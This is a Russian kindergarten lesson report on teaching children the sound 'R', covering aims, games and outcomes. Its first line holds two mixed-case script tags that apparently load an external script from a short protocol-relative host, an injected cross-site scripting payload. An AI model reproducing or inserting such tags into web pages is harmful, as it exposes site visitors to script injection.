<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

24.04.2017

Воспитатель: Райнбекова Р.Т.

Группа: №8

Дата: 20.04.2017г

Количество детей: 20

Раздел: Развитие речи

Тема: «Звук Р»

 

Цель:

Познакомить со звуком Р.

Задачи:

умение вслушиваться в слова,

произносить, слышать звук [р] в слогах, словах.

Закреплять умения детей на слух определять место звука в словах. Навыки

прорисовывания звука в воздухе. Расширять словарный

запас детей. Развивать фонематический слух детей,голосовой

аппарат,память, мышление.

 

Содержание:  Ребята произносили слова с разным настроением: 

 радостно,

 грустно,   удивленно,  сердито.  Прошло знакомство со

звуком Р. Дети играли в игры: «Назови слово», «Назови профессию», «Выбери картинку», «Назови ласково», «Назови место в слове», «Поймай звук». Дети определяли сколько слогов в слове. Читали стихотворение,  рассказали скороговорки. Прорычали, как серый волк: для того чтобы узнать, где находится

язычок? (за передними верхними зубами, при произнесении звука

«Р» кончик языка «дрожит»). Затем

прорисовали звук в воздухе, с помощью пальцев. Звук Р состоит из палочки, к

которой присоединен полукруг.

 

Результат:    

 Дети имеют представление о звуке [р]; знания о звуке, умение

вслушиваться в слова, произносить, слышать звук [р] в слогах, словах,  знают позицию звука в слове. работать с раздаточным материалом. Сформирован навык прорисовывания звука в воздухе.  Программный материал детьми усвоен в полном

объеме.